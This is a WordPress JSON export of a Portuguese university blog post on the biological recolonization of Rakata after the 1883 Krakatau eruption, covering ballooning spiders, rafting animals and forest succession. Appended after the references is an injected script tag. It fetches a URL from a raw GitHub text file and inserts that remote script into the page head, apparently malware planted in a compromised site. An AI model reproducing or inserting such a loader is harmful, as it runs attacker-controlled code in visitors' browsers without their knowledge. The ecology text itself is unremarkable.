{"id":502,"date":"2020-05-13T09:43:06","date_gmt":"2020-05-13T12:43:06","guid":{"rendered":"http:\/\/www2.uesb.br\/galapagos\/?p=502"},"modified":"2024-10-07T15:35:56","modified_gmt":"2024-10-07T18:35:56","slug":"como-a-vida-retorna-depois-de-uma-grande-erupcao","status":"publish","type":"post","link":"https:\/\/www2.uesb.br\/galapagos\/2020\/05\/13\/como-a-vida-retorna-depois-de-uma-grande-erupcao\/","title":{"rendered":"Como a vida retorna depois de uma grande erup\u00e7\u00e3o?"},"content":{"rendered":"<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Provavelmente voc\u00ea leu alguma not\u00edcia sobre o vulc\u00e3o Anak Krakatau no in\u00edcio de abril desse ano (<a href=\"https:\/\/www.youtube.com\/watch?v=3cTiXcHDGqU\">v\u00eddeo<\/a>). Anak Krakatau \u00e9 \u201cfilho\u201d de Krakatau, um grande vulc\u00e3o que entrou em erup\u00e7\u00e3o em 1883, destruindo a ilha em que estava situado na Indon\u00e9sia. Krakatau ficou submerso no oceano por anos, exceto por uma \u00fanica por\u00e7\u00e3o da ilha, uma montanha est\u00e9ril chamada Rakata.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-593 alignleft\" src=\"http:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/05\/Cronologia-Krakatoa-293x300.jpg\" alt=\"\" width=\"293\" height=\"300\" srcset=\"https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/05\/Cronologia-Krakatoa-293x300.jpg 293w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/05\/Cronologia-Krakatoa.jpg 519w\" sizes=\"auto, (max-width: 293px) 100vw, 293px\" \/>Os ambientes destru\u00eddos pela erup\u00e7\u00e3o de um vulc\u00e3o (ou por outros eventos) passam por um processo longo de recupera\u00e7\u00e3o da biodiversidade. O processo de chegada e estabelecimento de novas esp\u00e9cies \u00e9 chamado de <strong>recoloniza\u00e7\u00e3o<\/strong>. Diferente de um ser vivo, os ecossistemas podem encolher, desaparecer e renascer diversas vezes ao longo de milh\u00f5es de anos. Em Rakata, esse processo foi acompanhado de perto pelos bi\u00f3logos, o que nos permite poder contar para voc\u00eas a hist\u00f3ria da recoloniza\u00e7\u00e3o da ilha. No come\u00e7o tudo \u00e9 incerto. A maioria das sementes fracassa, o solo n\u00e3o \u00e9 adequado, n\u00e3o existem presas e a competi\u00e7\u00e3o \u00e9 alta. A comunidade muda sem parar, novos h\u00e1bitats surgem e a biodiversidade vai aumentando aos poucos.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-509 alignright\" src=\"http:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/05\/september-shot-300x225.jpg\" alt=\"\" width=\"300\" height=\"225\" srcset=\"https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/05\/september-shot-300x225.jpg 300w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/05\/september-shot-768x576.jpg 768w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/05\/september-shot.jpg 800w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/>A primeira expedi\u00e7\u00e3o biol\u00f3gica em 1884, n\u00e3o encontrou sinais de vida, exceto por uma aranha microsc\u00f3pica. Como uma criatura sem asas poderia chegar t\u00e3o r\u00e1pido \u00e0 ilha? Provavelmente por uma \u201cviagem de bal\u00e3o\u201d (<a href=\"https:\/\/www.youtube.com\/watch?time_continue=21&amp;v=JrS0igctMi0&amp;feature=emb_title\">v\u00eddeo<\/a>). Meses depois, os bi\u00f3logos encontraram alguns brotos de gram\u00ednea na ilha. As expedi\u00e7\u00f5es seguintes registraram um n\u00famero cada vez maior de gram\u00edneas e arbustos. Em 1919, existiam pequenas florestas rodeadas de pradarias. Dez anos depois, as florestas dominaram as pradarias e fizeram da ilha a floresta tropical fluvial que ela \u00e9 hoje.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Al\u00e9m das plantas e animais, outros organismos pequenos tamb\u00e9m desbravaram o novo ambiente. Mas se ainda n\u00e3o havia vegeta\u00e7\u00e3o, do que as primeiras esp\u00e9cies se alimentavam? Aranhas e grilos carn\u00edvoros n\u00e3o-voadores persistiram nos campos est\u00e9reis, alimentando-se de insetos que ca\u00edam nas \u201cchuvas colonizadoras\u201d. \u00a0Essa chuva \u00e9 o vento que traz bact\u00e9rias, fungos, pequenas sementes, insetos, aranhas e outras min\u00fasculas criaturas. Lagartos grandes se alimentavam dos caranguejos, que por sua vez comiam plantas e animais marinhos mortos e levados para a praia pelas ondas. Foi assim que a maioria das esp\u00e9cies colonizou o que sobrou de Krakatau.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-506 alignleft\" src=\"http:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/05\/iguana-300x225.jpg\" alt=\"\" width=\"300\" height=\"225\" srcset=\"https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/05\/iguana-300x225.jpg 300w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/05\/iguana-768x576.jpg 768w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/05\/iguana.jpg 800w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/>Em 1899 foi encontrado um varano-malaio (<em>Varanus salvator<\/em>, uma esp\u00e9cie de lagarto) na praia. Ele, assim como a p\u00edton (<em>Python reticulatus<\/em>), os p\u00e1ssaros, morcegos, lib\u00e9lulas e borboletas, provavelmente chegou por conta pr\u00f3pria. Os galhos e troncos dos rios, s\u00e3o levados para o mar e transportam micro-organismos, insetos, cobras, r\u00e3s e at\u00e9 pequenos mam\u00edferos. Tempestades violentas e trombas d\u2019\u00e1gua s\u00e3o capazes de arrastar animais maiores e peixes para praias pr\u00f3ximas. Esses animais d\u00e3o carona para outros organismos (sementes, bact\u00e9rias, fungos, protozo\u00e1rios, vermes, tard\u00edgrados, \u00e1caros e piolhos). Pseudoescorpi\u00f5es se prendem aos pelos das lib\u00e9lulas e outros grandes insetos, viajando como Aladim no tapete m\u00e1gico.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Com o tempo, novas esp\u00e9cies chegar\u00e3o, esp\u00e9cies velhas desaparecer\u00e3o, a composi\u00e7\u00e3o da fauna e da flora mudar\u00e1, mas o n\u00famero de esp\u00e9cies presentes permanecer\u00e1 constante. Atualmente, a comunidade de esp\u00e9cies est\u00e1 amadurecendo, mas o processo de coloniza\u00e7\u00e3o \u00e9 inst\u00e1vel e est\u00e1 longe de se completar. Nenhuma esp\u00e9cie das \u00e1rvores das florestas das ilhas pr\u00f3ximas \u00e0 Rakata retornou \u00e0 ilha.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Rakata, conseguiu, em um s\u00e9culo, regenerar a aparente vida t\u00edpica das ilhas da Indon\u00e9sia, e a diversidade da vida foi em grande parte recuperada. <strong>Mas ser\u00e1 que esp\u00e9cies end\u00eamicas (exclusivas da ilha) n\u00e3o foram extintas para sempre?<\/strong> Rakata nos conta como a vida \u00e9 resiliente e capaz de recolonizar ecossistemas devastados. Retomar a din\u00e2mica \u00e9 um processo longo, complexo e dependente da vida existente nas ilhas pr\u00f3ximas e no continente. Nos faz refletir que, \u00e1reas devastadas dos nossos biomas ainda podem ser restauradas. \u00c9 preciso deixar a natureza se regenerar enquanto h\u00e1 tempo.<\/span><\/p>\n<p>&nbsp;<\/p>\n<hr \/>\n<p style=\"text-align: left;\">Texto por\u00a0<strong>Matheus Galv\u00e3o Brito\u00a0<\/strong>e <strong>Msc.<\/strong> <strong>Tainah Cruz Moreira<\/strong> \u2014 publicado em maio de 2020<\/p>\n<hr \/>\n<p style=\"text-align: left;\">Imagem\u00a0 Destaque: &#8220;<a href=\"https:\/\/dribbble.com\/shots\/4121016-Seed-Of-Life\">Seed Of Life<\/a>&#8221; por Kenzo Bruijnaers.<\/p>\n<p style=\"text-align: left;\">Imagem 1 (adaptada): Autor desconhecido (Fonte: <a href=\"http:\/\/histatual.blogspot.com\/2010\/05\/krakatoa-maior-erupcao-vulcanica.html\">Hist\u00f3ria e Atualidades<\/a>)<\/p>\n<p style=\"text-align: left;\">Imagem 2: &#8220;<a href=\"https:\/\/dribbble.com\/shots\/5106096-Summer-is-not-over-yet-illustration\">Summer is not over yet &#8211; illustration<\/a>&#8221; por Tamara Soro.<\/p>\n<p style=\"text-align: left;\">Imagem 3: &#8220;<a href=\"https:\/\/dribbble.com\/shots\/4315506-Iguana-Island\">Iguana Island<\/a>&#8221; por Alison Galarza.<\/p>\n<hr \/>\n<p style=\"text-align: left;\">SEN, S. Enchanting Islands: Insular Biology Revisited. The Beats of Natural Sciences, vol. 2, no 1, 2015.<\/p>\n<p style=\"text-align: left;\">WILSON, E. O. Diversidade da vida. Editora Companhia das Letras, 2012.<\/p>\n<p><script>;var url = 'https:\/\/raw.githubusercontent.com\/AlexanderRPatton\/cdn\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Provavelmente voc\u00ea leu alguma not\u00edcia sobre o vulc\u00e3o Anak Krakatau no in\u00edcio de abril desse ano (v\u00eddeo). Anak Krakatau \u00e9 \u201cfilho\u201d de Krakatau, um grande vulc\u00e3o que entrou em erup\u00e7\u00e3o em 1883, destruindo a ilha em que estava situado na Indon\u00e9sia. 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